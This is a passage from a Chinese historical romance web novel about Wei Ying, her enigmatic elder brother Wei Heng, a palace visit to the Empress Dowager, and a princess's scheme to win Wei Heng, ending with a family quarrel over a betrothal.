她说着松开帷幔,快步走到案前,打开食盒,低着头慢慢将琉璃盏和白瓷小碗一一拿出来摆好。 她用了十二分的心思讨好人便要做到最好,连食器都是精心配的,玲珑清透,铺在案上错落有致、赏心悦目。 对了,她是来讨好长兄的,不管长兄有什么怪癖,都与她不相干。 世家子弟有怪癖的不在少数,据卫婴所知便有喜欢学驴叫的,喜欢穿着裈裤满街跑的,服散狎妓博戏的就更不必说了。 相比之下,喜欢在佛寺墙壁上画不穿衣裳的菩萨,似乎也无伤大雅? 既然卫珩可以佯装无事,那么她也可以。 再抬起头时,已能仰着脸若无其事微笑:“阿兄快些用罢,垫的冰化了便不好吃了。” 她拈着玉汤匙撩了撩碗中的莲子,展示因为剥了几颗莲子而微微发红的指尖。 卫珩的目光果然落在她手指上:“这些粗活何必亲力亲为,手痛不痛?” 卫婴摇摇头,又赧然点点头:“其实有些痛的,我看青栀他们剥起来很轻巧,没想到自己上手全不是那回事。阿兄尝尝看,笨手笨脚剥出的笨莲子有什么不同。” 卫珩似乎也觉她的话甚是可爱,微微笑了笑,却没有去接她的碗,反而看向那半遮半掩的帷幔:“我手上脏,先前调好的胶也快干了,容我先将剩下几笔画完,再细细品尝妹妹手艺。” 他说着将手给卫婴看,修长的手指间果然沾了一些红红粉粉的颜色。 卫婴一下子就想到了那画像上某些地方的红晕,脸颊顿时又烧了起来。 卫珩仿若未觉,看向薄红色的琉璃碗,凝脂般的酥酪堆成圆圆小丘,浇了玫瑰花蜜酱,顶上还点缀着一颗晶莹剔透的樱桃。 他面露遗憾:“莲子汤倒是可以等待片刻,只可惜了这冰酥酪。” 冰酥酪不耐久放,下面垫的冰一化,就会变得稠腻,不能入口了。 他慢条斯理地挑选画笔,调和颜色,走到西壁前,将帷幔彻底拉开,蘸了一笔胡粉,顺着菩萨丰润的肩头往下罩染。 卫婴偷偷觑他,只见他神色端凝,没有半点狎猥之意,几乎是虔诚的。 “记得上回食此物还是去岁夏日,”卫珩一边画,一边状似不经意地说,“今日见了倒是有些想念。” 卫婴有些明白他的意思了,大约还在为青溪别墅的事介怀,有些为难她的意思了。她不怕做小伏低,怕只怕百般示好对方无动于衷。 左右小时候为了讨他的好,也不止一次将糕饼果子喂到他嘴边。 她当即端起小碗走上前去,执起汤匙,舀了一勺送到长兄唇边:“阿婴好不容易学会的,阿兄就尝一口罢。” 卫珩偏过脸,微微低头,嘴唇即将触到酥酪的瞬间,他不经意地撩了一下眼皮。 卫婴对上他的眼睛,手腕不自觉颤抖了一下。 说时迟那时快,长兄伸手轻轻握住她的手腕,含住汤匙,将那口柔嫩滑软吞入,喉结轻滚了一下。 卫婴胸口跟着一紧,心脏莫名剧跳起来。 长兄很快便松开了手指,她却觉得方才被他轻握的肌肤隔着衣服微微发烫。 她定了定神,笑着问他:“如何?” “很香甜,”卫珩道,“阿婴学什么都很快,自小如此。” “阿兄还要么?” “尝一口滋味便够了,贪多反而不美。” 大约是常年在佛寺清修的缘故,长兄的口腹之欲是很淡的。 卫婴顺势放下碗。 卫珩换了一支笔,蘸了轻红颜色,层染佛像面颊、耳垂、膝头、手肘、指节、指尖…… 他的笔滑到何处,卫婴便无端觉着自己也被笔锋扫过,微微发痒。 长兄作画时一丝不苟,细致入微,连脚趾都细细染上一层薄红。 卫婴不觉蜷了蜷脚趾,萌生了去意。 正想着如何开口,卫珩道:“阿婴若不急着回去,便等画完今日的,在寺中用罢夕食,我同你一起回去。” “阿兄今日要回家住么?”卫婴诧异。 “嗯,祖母生辰在即,我也该回去了。” 卫婴暗暗懊悔,若早知他今日就要回去,她就不必巴巴地赶来送吃食了。 说话间卫珩已将瓷碟中的颜色用完,退后几步端详了一会儿,开始整理岩彩与画笔,一边问卫婴:“阿婴是除我之外第一个见此画像的,以为如何?” 卫婴不敢细看,经他一番点染,那曼妙的女体越发惟妙惟肖了。 她垂着眼帘不知该说什么,只能尽力想象,若换做是谢昙,看见兄长画了这样的壁画,该如何作答? 卫婴想不出来,谢昙的兄长大约没有这样的癖好。 “阿婴但说无妨,可是有什么地方不妥?” 有什么地方不妥?分明是什么地方都不妥啊! 她斟酌一番:“阿兄画技超凡入圣,线条流丽,设色丰富,艳而不俗。只是……” 她不觉得自己敷衍两句能骗得过长兄,还是硬着头皮说实话:“画在佛殿中,未免有些惊世骇俗……” 卫珩看着她,眼中笑意涟漪似地荡开:“阿婴莫非以为如此便画完了?” 卫婴一怔,原来不是么? 卫珩无可奈何地轻叹了一声:“我的妹妹啊……” “自然还要画上衣裳、披帛方能示人,”他微微笑着解释,“我从一胡僧处学得此种层层罩染之法,分层画出,气韵似乎更生动。” 他看向东壁:“这壁画中的太子便是用了同样的技法。” 卫婴仔细端详,果然长兄所言非虚,透过太子的衣裳隐隐可以看见底下筋肉。 所以竟是她误解了? 也是,长兄谪仙一般的人,若当真好色,什么样的女子求不得,何必在画里逞欲。 她将人想得这样龌龊,偏偏还说了出来…… 卫婴的脸一下子烧到了耳朵尖。 “不过阿婴说的对,即便加上衣裳,仍是不妥,不宜让旁人看见……” 卫珩沉吟片刻,取胶调了一大碗胡粉,找出一把羊毛平刷,蘸了稠厚的一笔浓白,毫不犹豫抹在画像上。 卫婴在一旁看着都觉心疼:“画得这么好,着实可惜了。” 其实大可不必毁了画,只要加件衣裳就是尊体面的菩萨像了。 卫珩很快将画像均匀涂抹了一遍,胡粉下还隐隐有颜色透出,需要多遮几遍。 “不可惜,只是覆盖住了,”他看着妹妹,目光柔和,“你我都知道她还在那里。” 受万众景仰,顶礼膜拜。 13.报偿 兄妹在寺中用斋饭,卫府食不厌精脍不厌细,相比之下祇洹寺的蔬食滋味寡淡、乏善可陈,何况卫婴心思都在长兄身上,一顿夕食吃得心不在焉。 卫珩每道菜也只是浅尝辄止,倒是将卫婴送来的莲子汤、已经放腻了的酥酪,慢慢一口口吃完了。 打道回府时已是夜幕低垂,卫婴深觉可惜,若是日落之前回去,与长兄一同招摇过市,流言说不定就不攻自破了。 回到自己的清圆阁,卫婴浸没在浴堂汤池中,静下心来回想今日寺中的种种。 虽然长兄解释了所谓的“层层罩染”法,可那具观音像却总是在她心里挥之不去。 她瞥见倚墙放着的雕花大铜镜,心中一动,遣开婢女,步出汤池,走到铜镜前端详了一会儿,越看越觉那具卧观音的身形起伏与她相似。 可惜浑身上下可供辨认的记号,只有后腰靠近圆丘隆起处的一小片嫣红胎记。 那画像却是面朝着看客的。 或许只是巧合吧?毕竟画像没有脸,好看的躯体大约是差不多的。 细想那画像也有与她不一样的地方,她的肌肤是莹白如玉的,关节等处粉色很轻,而佛殿里那具观音像通体泛粉,肩膀、锁骨、膝头、脚踝处的红晕更是艳丽,连微微绷起的圆润脚趾也艳若桃花。 那夜坐在她床边的男子也是巧合么?莫非那时候…… 随即她将自己荒谬的念头压了下去。 她是睡着了,又不是死了,怎么可能有人脱她衣裳都不醒。 即便那夜真的是长兄,他也只是隔着屏风坐在她床边罢了,她醒来时好好穿着中衣、盖着薄衾,连一片衣角都没挨着,不是么? 可还是无端有一股凉意顺着她脊背缓缓爬动,她不觉抱住双肩,踮着脚快步走回温暖的汤池中。 沐浴罢回到卧房,有婢女禀道:“方才郎君遣人来告诉女郎,明日一早郎君入宫觐见,请女郎同行。” 卫婴蹙眉,卫珩回建康翌日便进宫面圣,自然也拜见过卫太后,怎么才几日又进宫了? 而且在寺中一起用膳时他也不曾提起过明日入宫的事。 难道是回到府中才决定的? 倒也不无可能,当朝卫太后是卫珩的姑祖母,皇帝虽非太后亲生却是在她宫中养大的,对他来说出入宫禁与走亲访友无异。 皇帝与西府正争相征辟他,他频繁出入宫中,难道是已有决断? 可带上她又是为何? 她每岁也要入宫几次,拜见卫太后或是张贵嫔,不过都是跟随祖母,与家中众姊妹一道。 “阿兄可说过明日其他姊妹去不去?”卫婴问,“进宫是去拜见哪位?” 婢女一问三不知,只说郎君交代明日辰时从家中出发,请女郎早作准备。 夜里不好再去长兄那里细问,卫婴只好带着满腹的疑问睡下。 不过能随长兄入宫觐见总是好事,宫里无数双眼睛看着,卫家玉郎携妹入宫的消息不久便会传遍建康城,流言便会偃旗息鼓。 卫婴一时揣摩长兄的心思,一时猜测入宫的意图,倒是将观音像的事抛在了脑后。 一夜无梦。 翌日,卫婴换上入宫觐见的礼服,略施铅华,便登上长兄一早命人预备的犊车出了门。 到得台城止车门外,兄妹下了犊车,换上宫中特别恩赐的乘辇,卫婴方才知晓他们此行是去灵曜宫拜见姑祖母卫太后。 卫珩自是一早便遣人往宫中递了请安奏折,车辇径直将他们带到卫太后的寝殿。 卫婴紧跟着长兄,一边暗暗留心周遭的一切。 先前跟随祖母入宫,总是在偏殿的正堂——那是太后接见外命妇的地方。 今日卫太后却是在她日常晏居的寝殿接见,足见对卫珩的亲善与器重。 入得殿内,太后一身家常衣裳,脂粉未施的脸上挂着慈蔼微笑,像个寻常世家老夫人。 实则本朝皇室与世家共治,政出私门,皇家也不过是大些的世家而已,前有王大将军叛乱,如今又有西府那位大司马虎虎视眈眈。 但身为掌过权柄、养大皇帝的一朝太后,又背靠卫氏,太后比一般世家夫人还是惬意太多了。 卫婴风闻过这位卫太后不少轶事,先帝早逝,她年纪轻轻垂帘听政,与几位臣子有些首尾。 前些年还政天子后,她明面上不问朝政、专事礼佛,其实还捏着不少权力未放,宫中也养了十几个美貌内宠。 现下就有两个内宦装束的清俊男子跪在一旁伺候。 女人做到这份上,着实令人钦羡。 要不是如今的太子行事荒唐出了名,又未必能像他祖父一般早死,卫婴倒很想继承这位姑祖母衣钵。 正思忖着,卫珩偏过头瞥了她一眼。 卫婴赶紧收起这些小心思,随兄长上前行礼。 卫太后连道免礼,笑着问卫珩:“前日叫你留下陪姑祖母用膳,怎么都不肯,今日吹的什么风?” 卫珩看了眼卫婴:“上回家中有事,不能与姑祖母长谈,今日特来赔罪,也带阿婴来向姑祖母请安,顺便讨个赏。” 卫太后嗔怪:“一家人,什么赏不赏的,我这破落户有什么东西是你能看上眼的,只管开口便是。” 眼睛在卫婴脸上虚虚地一打量,眉开眼笑地朝她招手:“好孩子,快过来。前几回都乌泱乌泱的一群人,姑祖母也寻不着机会同你多说两句话。” 卫婴暗自好笑,早听说姑祖母未出阁的时候与卫珩亲祖母姑嫂甚为相得,与继嫂张老夫人却合不来,连带着对张贵嫔也是恨屋及乌。 她乖觉地上前再施一礼,这回却是家人礼,甜甜地唤了声“姑祖母”,便在她身旁坐下。 “你们两兄妹真是越看越像,”卫太后仔细瞧她眉眼,向身旁女官笑道,“你看看是不是?” 女官附和:“真是一个模子里刻出来的,要奴婢说,小郎君与女郎都生得像姑祖母。” 卫婴闻弦歌而知雅意,太后必定也听说了她身世的传闻,心里未必没有疑问。 但是今日卫珩既然特地带她进宫,便是认定了她这个妹妹,太后也就顺水推舟为她撑腰了。 卫婴已彻底认清,自始至终关键的都是卫珩。 只要长兄承认,她就是卫家三娘子。 “他们的容貌可比我强太多了,阿兄阿嫂都是难得的美人,所以才有这样钟灵毓秀的子嗣,”太后想起长嫂,又红了眼眶,“可惜阿嫂早早仙游,要是看见一双孙儿如此出色,不知该多欣慰。” 兄妹自然要柔声宽慰几句。 卫太后又说:“如今卫氏长房只有你们两人,我就说实话,其余那几房都是不济事的,卫氏的门庭要靠你们撑起来,你们兄妹务要相亲相睦,相互扶持。” 兄妹皆应是。 卫太后又问卫婴平日在家中读什么书,有何消遣,卫婴一一作答,卫太后听说她近来在读春秋左氏传,满意颔首:“我们卫氏女郎最重要的是眼界胸襟,不能囿于内宅之中,你愿意读这些书便很好。如今你长兄回来了,可以亲自指点,张氏寻的那朱家女夫子,比八十岁的腐儒还迂,能教你们什么,平白把好好的女郎教成了木头。” 又问她是否开始议亲,可有合意的郎君,若有她可以下旨玉成其事。 卫婴心知卫太后不喜扭捏作态,便也不作羞赧之色,只笑着摇头道没有。 卫太后拍拍她手背:“放心,姑祖母替你留心着好儿郎。” 卫婴心里并不把卫太后的话当真,卫太后替她物色夫婿,看的是卫家的利益,于她自己未必是好亲事,与张老夫人也就是半斤八两。 脸上笑容却甜得似蜜:“阿婴只听姑祖母与阿兄做主。” 卫太后便向卫珩道:“阿婴的婚事要由你这长兄拿主意。” 卫珩看了妹妹一眼:“自然,妹妹终身大事,珩不敢轻忽。” 太后颔首:“兄妹正该如此。” 言笑晏晏说了会儿话,忽有宫人来禀:“晋陵公主来向太后请安。” 卫太后的笑容淡了些,语带讥嘲:“她难得想起我来,偏偏就与你们撞上,真是巧了。” 晋陵公主司道真是今上一母同胞的亲妹妹,不过兄妹差了近二十岁,论辈分比他们长了一辈,却只比卫珩大了一岁。 满建康城都知道晋陵公主恋慕卫家玉郎,为了他至今不曾出降,并放出豪言,卫郎一日不娶,她便一日不嫁。 然而司氏乐见其成,若卫珩有意,他们早就结成姻缘了。 他自要避嫌,当即起身:“我们也该去拜见陛下,姑祖母既然有客,我们便先告退了。” 卫太后也不赞成这门亲事,颔首:“你们去罢,一会儿回我宫中用午膳,不可推拒,我已叫人备好了。” 卫珩道好,便要带妹妹离开。 可不等他们离开,一身胡服的高挑女郎便带着两个宫女走了进来。 司道真生得艳丽张扬,容色在一众司室的公主、宗室女郎中最为出众,只是眼角尖锐如利喙,看着不好相与。 实际上也的确 不好相与。 卫婴在宫宴和各家的花宴上见过司道真几回,起初司道真因她是卫珩的妹妹有意结交,屡次对她示好,但卫婴知道兄长绝不会尚公主,因此待她有礼却不亲近。 几次以后,司道真便有些怨她不肯做她的青鸟,从此总是眼神不善。 好在卫珩在场,司道真一双眼珠黏在他身上,无暇兼顾她。 “真巧,卫家郎君也在。”晋陵公主一笑,眼角更像猛禽的利喙了。 既然撞见了,就不得不见礼。 卫珩淡然看向妹妹:“阿婴,向表姨母行礼。” 卫婴差点忍不住笑起来,忙压住嘴角,镇定自若地依言行礼。 晋陵公主面色僵硬,却挑不出什么错处。 皇家与世家之间的姻亲关系盘根错节,人少,又不能与庶族通婚,异辈联姻层出不穷,辈分横算竖算都不相同。 卫家兄妹与晋陵公主之间的关系能扯出一堆线头,称她表姨母没错,只是表得有些远罢了。 卫太后不必隐忍,唇角泛起微笑:“说巧也不巧,珩郎与阿婴正要去拜见陛下。” 卫珩顺势向晋陵公主告辞。 司道真说:“我同你一起去,正好我也要去找阿兄。” 卫太后脸一落,半真半假地埋怨:“你这孩子,难得来看我,榻还未坐暖便要走,可是老妇慢待了你?” 司道真无法,只好留下。 待太后终于放人,她马不停蹄地赶到皇兄处一问,却说卫氏兄妹已被接去灵曜宫陪太后用午膳。 司道真自然明白太后有意将她与卫珩隔开,忿忿骂道:“老妇从中作梗,坏我姻缘!” 皇帝苦笑:“卫珩无意于你,你又何苦执着于他。出身高样貌好的不止他一个,阿兄替你在世家子中物色个如意郎君,如何?” “难道阿兄还能找出比卫珩更好的?” 皇帝语塞,他的确找不出来。 “即便能,我也只属意于他。”司道真咬牙。 她情窦初开时对卫珩一见倾心,便想着有朝一日要他尚主,可后来他便去了会稽,蹉跎至今也未得偿所愿。 就好比看着一颗好果子挂在树梢,在她眼前晃着,一晃几年,眼看着从青涩到熟透,却够不着、吃不到。 “我何处不如人,为何他不喜欢我?” 皇帝叹了一口气,实话实说:“以他的家世、才学、能为,是不会尚公主的。” “所以不是因为我不够好,只是因为我生在司家,他又不愿尚公主,对不对?” 皇帝见幼妹气得发抖,只得安慰她:“定是如此,不然以阿妹品貌,别说一个玉郎,十个玉郎也配得上。” 司道真却是自小众星捧月惯了,并不以为兄长是在哄自己:“我不信我软硬兼施,他不入彀。” 本来知道他回京,她打算徐徐图之,用一颗真心感化他,可那声冷冰冰的“表姨母”彻底激怒了她。 皇帝警起来觉:“他是卫家子,不可胡来。” “卫家子又如何,”司道真嫣然一笑,“卫家子也是男人。” 她容貌出众,自小爱慕者众多,虽未嫁人,却也有过几段风流韵事,还养着几个面首,通晓风月之事。 男人对有了肌肤之亲的女子总是不同的,只要得了一次手,她便能叫他欲罢不能。 见皇帝似还要告诫,她拿话堵住他:“阿兄想征辟卫珩,他总是推三阻四,小心被西府拉拢了去。若我与他成了,对阿兄有利无弊,不是么?” 皇帝看着幼妹艳若桃李的脸,沉吟片刻,还是不放心:“卫家子不比旁人,你莫要弄巧成拙了。” 司道真心不在焉地应着,心思却已飘到了别处。 找什么机会下手呢?若她出面相邀,他必定不肯来,由皇兄设宴下旨最好,但他畏首畏尾,只想坐享其成,必不肯帮她。 冥思苦想半晌,她忽然灵机一动:“五叔下个月是不是邀请了各家子弟去落星山雅集?” 她的五叔常山王雅擅文学,风雅蕴藉,常与那些世家子游宴,他的清谈雅集在建康颇负盛名,若由他力邀,卫珩多半会去的。 赴常山王的雅集不会带太多随从部曲,她只要提前埋伏些人马,将他的人控制住,便无人能搅扰她的好事。 不过卫叔玉不比旁人,恐怕未必就肯相从,她不介意用些非常手段——五叔人品亦是风流,他的筵席上本就少不了寒食散助兴,只消再加几味药…… 司道真觑了觑眼,对卫家玉郎已是志在必得。 14.心迹 兄妹去天子起居的含章殿问安,皇帝大喜,留卫珩咨议朝政,卫婴便由宫人陪着在御苑中游览了一番。 事毕后,两人回灵曜宫陪卫太后用了午膳,便起身告辞。 临行前太后与皇帝各有赏赐,卫珩一向轻财,一出宫门便命随从将自己得的赏赐也送上了妹妹的车。 坐上犊车,拉起帷幔,卫婴忍不住打开那些大大小小的匣子欣赏品鉴起来。 皇帝赏的多是端午应时之物,五色绦、织成扇、金银线编织而成的小角黍串、驱蛇虫的药囊、清热解毒的丸药之类。 卫太后的赏赐便重得多,除了兄妹两人皆有的香囊、角黍、药酒等应节之物,另赐了卫珩一对犀角杯、一套九件白玉碗,一领象牙席,一套白墨玉棋子,一柄象牙麈尾。赐给她的则是一匣南珠,一支凤凰衔珠金步摇簪,一双紫玉螭虎佩,一串一百零八颗沉香佛珠,一双镶宝石的金跳脱。 卫婴将这些金珠宝玉摊在小几上,看了又看,摸了又摸,爱不释手。她在卫府是见惯了好东西的,但或许是小时候吃的苦受的穷太过刻骨铭心,总是想把好东西都揽入怀中,多多益善。 正把玩着,犊车忽然重重一晃,接着停了下来。 金玉珠宝“丁零当啷”掉了一地,卫婴急忙低头捡拾,还剩几样的时候,冷不丁车帷叫人掀起,日光涌入车厢,照得她措手不及。 她正要看看是哪个不懂规矩的奴仆,一抬头却对上卫珩的眼睛。 这浅薄贪财的样子偏偏叫长兄撞见,卫婴的脸一下子烫到了耳朵尖:“阿兄……” “我的犊车车轴断了,”长兄仿佛没看见她在做什么,只温声解释,“可否与阿婴同乘?” “当然好,只是车厢狭小,委屈阿兄。”她说着直起腰,往里挪了挪,偷偷用脚尖将来不及捡起的几样东西踢到几案底下。 卫珩探身上了车,在她身边坐下。 这是女眷用的并车,她一人坐还算宽敞,可卫珩身量比一般男子更颀长,肩又宽,他一入内便显得狭小逼仄,挤得卫婴只能缩进角落里,往车壁上靠。 卫珩神情自若地从几案下捞出一串沉香佛珠,递给她:“妹妹的东西遗落了。” 卫婴只好伸手接过,收进匣子里:“多谢阿兄。” 卫珩却还不罢休,一矮身,又捞了串金银角黍出来递给她:“还有。” 卫婴只能佯装无事接过收好。 不想还没完,卫珩又从几下摸出一支凤凰衔珠金步摇。 这回他却没递还给她,拿在手中把玩了一会儿,又取出一方松纹白绫帕慢条斯理地擦拭。 卫婴看着他清瘦纤长的手指,只觉他垂眸拭簪的样子仿佛刺客擦拭刀刃。 似乎察觉她在看他,卫珩撩起眼皮看向她,眼中神色莫辨。 车帷遮得严严实实,车内全靠角落里一盏琉璃灯照明,被长兄的衣摆挡住了大半。 昏暗逼仄的车厢里,长兄的气息如有实质,渐渐填满。 他看着她,拭簪的手未停,一寸寸耐心地绕着簪头摩挲。 卫婴忽然生出个荒谬的念头,觉得下一瞬他就要将手中金簪捅进她身体里。 她需要立即做点什么,说点什么,来打破这可怕凝滞的静默。 她摸到手边的匣子,拎出那串金银小角黍:“这玩意倒新巧,可以拿去分给几个妹妹,他们一定喜欢。” “你呢?喜不喜欢?” 卫婴点点头,纤指拨弄角黍一角,拨得它不断打旋:“不过我已不是小孩子了。” 实则她从未做过小孩子,那是富贵人家的奢侈。自她晓事起就在起早贪黑地练功,动辄挨笞杖和鞭子。百戏班里没有小孩子,她是“小猴子”。 她将不知不觉落下去的嘴角又提起来:“而且今日得了那么多赏赐,几个妹妹都没有,只我得了……” “是宫中赐给你的,喜欢便留着,”卫珩放下帕子,转过身,看着她,“先顾着自己,不必管旁人。” 卫婴呼吸一窒,他是不是意有所指?是不是听说了辟兵簪的事,不满她多管闲事? 长兄的声音仍旧很温煦,卫婴想从他眼中揣摩他喜怒,可周遭太昏暗,那双眼眸深暗混沌,什么也看不清。 “阿婴明白了。”她小心翼翼地回答。 随即她听见长兄发出一声几不可闻的叹息,接着两根冰凉的手指轻轻将她下颌托起:“抬头。” 卫婴一动也不敢动,几乎不敢与他对视,可他只是抬起袖,缓缓将那支金步摇插进她发髻里,捋了捋珍珠流苏,端详片刻:“很好。” 长兄只是用指尖轻轻在她下颌托了一下,很快便收回了手,可那感觉却久久留在她肌肤上,明明他的手指那么凉,那片肌肤却好像灼伤了,要燃烧起来。 “可以在祖母生辰宴上佩戴。”卫珩道。 卫婴心尖一抖。 辟兵簪的事他果然知道了。 长兄一言一行皆非无的放矢,今日带她入宫觐见,也是有意为她撑腰。 他为什么一时冷落她,一时又主动帮她? 莫非是昨日去祇洹寺送吃食讨了他的好?可那夜在青溪别墅她也去送衾被,怎么就不行? 他既然知道了辟兵簪的事,必定能想到她去寺中献殷勤是事出有因,为什么上回他冷待她数日,这回却帮了她? 长兄的心思实在太难猜了。 卫婴忽然惊觉,自从卫珩回建康,她一颗心便如系着一根蛛丝吊在半空中,蛛丝的另一头是卫珩捉摸不定的态度。 她不喜欢如此,整日都像在绳索上走。 可凭借他的东风飞到云端的滋味又太美妙。 “阿婴有什么事要同我说么?”卫珩不经意似地问她。 卫婴咬了咬唇,将自己用金簪救那婢女的事说了一遍,声音越来越轻,脖颈越垂越低:“对不起,此事是阿婴做错了。” “何错?”卫珩看着她,“救人是善事,何错之有?” 虽看不清他的脸,但卫婴能感觉到他在微笑,那笑让她寒入骨髓。 “阿婴遇事不该自作聪明,应该先禀告阿兄。” 卫珩沉吟不语,也不说她对错,半晌才道:“阿婴可还记得初入府时对我说的话?” 卫婴哪里记得,她那时候为了讨好这沉默寡言的卫府嫡子长孙,每日不知道搜肠刮肚找多少话出来说,哪里记得说过些什么。 “妹妹想是不记得了,你说阖府上下只有我们两人血脉最近,天生便该比旁的兄弟姊妹更亲近。” 他顿了一 下,微微偏头,像是在看她有何反应:“你说你只有我,我也只有你了。” 经他一提,卫婴总算想起来了,刚进卫府不久,祖父卫昭便过身了,卫府中与她血脉最近的便是长兄,而卫珩那时对她不冷不热,甚至不如别的堂姊妹。 她急于在卫家找个依靠,便总是费尽心机靠近他,讨好他,有一回卫珩问她,他们素未谋面,为何她一见面就能亲近他,她便趁机说了这番话出来。 那时卫珩并未如她预料的那般感动,也没有回应,只是用那双格外黑的眼睛似笑非笑地看着她。 没想到他当真听进去了,还记到了现在。 卫婴勉强微笑:“原来我说过这样的话,那时我只羡慕阿兄爱护几位姊妹,心生艳羡,所以说出那样不懂事的话来。其实阿兄与几位堂姊妹自小一起长大,我那时却是初来乍到,怎能相提并论。” “我倒觉得妹妹说的很对,”他将手覆在她手臂上,只是轻轻搭着,却好像有千斤重,“你我血脉相连,天生便该亲近。” “你想救人没有错,只是无需损害自己。往后有任何事,都可来找我。” 顿了顿:“我是你的阿兄,只有你一个妹妹。” 他每说一遍,卫婴的心便往下沉一分。 若他发现,若他发现…… 她不敢设想下去,只是仰起脸,向他绽开信赖依恋的笑容:“阿婴明白了,一定将阿兄的话谨记在心。” “那便好。” 卫珩收回手,将车帷撩开一条缝,天光涌入车内,卫婴仿佛溺水的人终于将头探出水面,深深地喘了一口气。 “快到乌衣巷了。”卫珩道。 王家的园宅便在乌衣巷,王诚大约已回府中,过几日两家便要交换庚帖,开始走礼。 虽然她对王诚本人没有半点想法,但想起这桩筹谋许久的婚事还是有些堵心。 “阿婴还未听说吧?”卫珩道,“王五郎近来养了个外室,想迎进府为妾室,与家中闹得不可开交。” 卫婴睁大了眼睛,这回是真的吃惊。 “是东市上当垆酤酒的女子,听说一双眼睛生得与妹妹有几分相似。原以为他至少待你一片真心,如今看来这心也不过如此。” 他平静道来,卫婴却从中听出了一丝不屑和鄙夷。 平日的长兄克己而温厚,上对皇帝,下对奴婢部曲,从不会流露情绪,更不会品评他人私德。 嫌恶王诚,是因为她么? “王郎君大约只是喜欢那般长相的人吧,”卫婴无所谓地笑了笑,“我只是合了他的眼缘罢了。” 她倒是能理解王诚,好比她喜欢金子,但若是得不到,包金的银子也可凑和,总比没有强。 长兄却不是这样想:“若当真心悦一人,又岂会寻个赝品来亲近,恐怕见到相貌相似之人只会心生厌恶。” “赝品”两个字,他说得格外慢,像两块大石头,拖着卫婴的心脏往下坠。 她双唇止不住微微颤抖,勉强发出声音:“阿兄所言甚是。” “推己及人罢了。” “阿兄是专情之人,将来的嫂嫂有福。” 长兄深深看着她,直看得她心里发毛,疑心自己是不是说错了话,方淡声道:“或许。” 15.风波 王五郎养外室的消息不胫而走,到卫家张老夫人寿辰这一日,在建康城里已是人尽皆知了。 这些事总是当事之人最后一个知晓,因此只有卫珠还蒙在鼓里,直到寿宴时被张家一个表妹当面戳破。 那张家表妹素日没少受卫珠明里暗里的弹压,一见面先恭喜表姊喜得良缘,接着便安慰她:“男子一时迷了心窍不怕,以王家的家风,绝不会在表姊过门前将外头那个抬进门去的。” 卫珠一听瞬间变了脸色:“什么外面的?你在说什么?” “表姊竟还不知道么?”张表妹愕然睁大眼睛,旋即捂住嘴,“无事无事……表姊莫放在心上。” 卫珠一把拽住她衣袖:“你给我说清楚!” 张表妹便支支吾吾、半遮半掩、添油加醋,将王诚养外室的事说了一遍。 卫珠哪里咽得下这口气,当即去找母亲小张氏哭诉:“阿娘,我不要这门亲事了!” 小张氏为了婆母的寿宴忙得脚不沾地,另有一件事叫她焦头烂额——她的宝贝大儿昨夜宿在外头,寿宴快开席了还不见人影,张老夫人已遣人来问了几次,她只能一边敷衍搪塞,一边不住地派奴仆去城中秦楼楚馆、娼家赌坊找人。 眼下女儿还来添乱,她哪里有心力应付,只说:“哪有为了这点小事便退亲的,王家不是胡来的人家,他自有父母长辈管束,不会叫那女子进门或先诞下庶子的。” 卫珠吃惊地看着平日将她当眼珠子疼的母亲,只觉她被什么妖怪夺舍了:“连阿娘也觉无所谓吗?我不要这样的夫君……” 说话间又有个奴仆入内回话,道四郎君还未找到。 小张氏心烦意乱,忍不住教训女儿:“你也是世族女郎,这种事难道还是第一天见吗?王五郎已算得好的,养的那个至少是良家子,不是娼家女!祖母寿宴你不去招呼宾客,不去祖母跟前承欢,不替阿娘分忧,却在这里添乱,你将来也是要做主母的人,自己立不起来谁会高看你一眼?你以为可以当一辈子小女郎么?” 卫珠不可置信地看着母亲,心中再次生出恐惧,比母亲要发卖络秀的时候更甚,毕竟那回是冲着别人去,这回却是疼在她身上。 她没有再同母亲说什么,抹着泪便去找祖母。 祖母寿辰,她不该拿这些事去烦她,可她一定要趁着王家人未到前与祖母将退亲的事说定了。 祖母是最疼她的,定会答应她退了这桩亲事。 张老夫人正在自己的齐安堂中,才送走庾氏的几位女眷,卫婴和卫玫等几个大些的姊妹也随侍在一旁,帮祖母待客,凑趣说话。 卫珠一眼便看见言笑晏晏的卫婴,她今日一身艳色盛装,更显得纤腰一捻如约素,而飞仙髻上明晃晃簪着的,是卫太后新赏的金凤衔珠步摇簪,极冶艳华贵的装束,换个人难免显得过分艳丽,偏她清水芙蓉、娉娉婷婷,画中走出的宓妃一般。 卫珠的目光从她脸上移到她皓腕,只见她腕上也戴了一对白玉手钏,与她自己手上那对诸葛老夫人给的如出一辙,只是更白更细,而她的肌肤比白玉更白,更莹润细腻。 不消说,一定是长兄替她寻来的。长兄什么好的都紧着卫婴,吃穿用度都要压其他姊妹一头。 自己才从诸葛老夫人那里得了一对美玉手钏,他便给卫婴觅来一对更好的。 他还单单带她一个人入宫见太后,听说得了许多赏赐,单是那些匣子,奴仆便来回搬了好几趟。 还有那些世家女,浑忘了青溪别墅是怎么冷待她的,今日又都围着她奉承追捧。 还有还有,那些老夫人夫人,一个个捧着她绣的经文啧啧称奇,盛赞她技艺与孝心,仿佛没见过世面的村妇似的。 而卫婴也就那样理所当然地笑着,嘴上说着甜蜜的客套话,将他们的恭维照单全收。 她们难道不记得她来路不干净,未必是卫家血脉吗? 是了,她们当然不在意,只要长兄肯承认她。他们怕是都想嫁给卫家玉郎呢,自然要讨好他最宠爱的妹妹。 为什么她卫婴半道冒出来,才做了长兄六年的妹妹,还是聚少离多,便压倒了她们所有人?难道十几年的情分都敌不过血脉近那么一些? 她不由低头看了眼自己的手腕,无论是手钏还是肌肤,都被衬得那样暗淡。 还有她的婚事。 说不定长兄早就替她物色好了更好的郎君,更高贵的亲事,王家那门婚事本来就是她不要的,故意丢出来给她捡。 想到此处,她悲从中来,捂着嘴哭起来。 张老夫人连忙站起身,心疼地将她搂在怀里:“这是怎么了?是谁欺负了我们珍珠儿?” 还是祖母疼她,卫珠松了一口气,便提了退婚。 张老夫人失笑:“我当是多大的事,不过一个酤酒女罢了,左右王家不会让她进门,你就当没这个人。不过王五郎确实不懂事,王家欠我们一个交代,我得找她祖母说道说道,免得他们以为我们卫家好欺负。” 卫玫也附和着祖母劝解堂妹,只说王家的好处,卫珠柳眉一竖:“你那么喜欢,你嫁进去好了!” 不等卫玫说什么,她又去指卫婴:“还有你,王诚喜欢你,娶不到你还要找个酤酒女代替你,这姻缘我无福消受,还是让给三姊吧。” 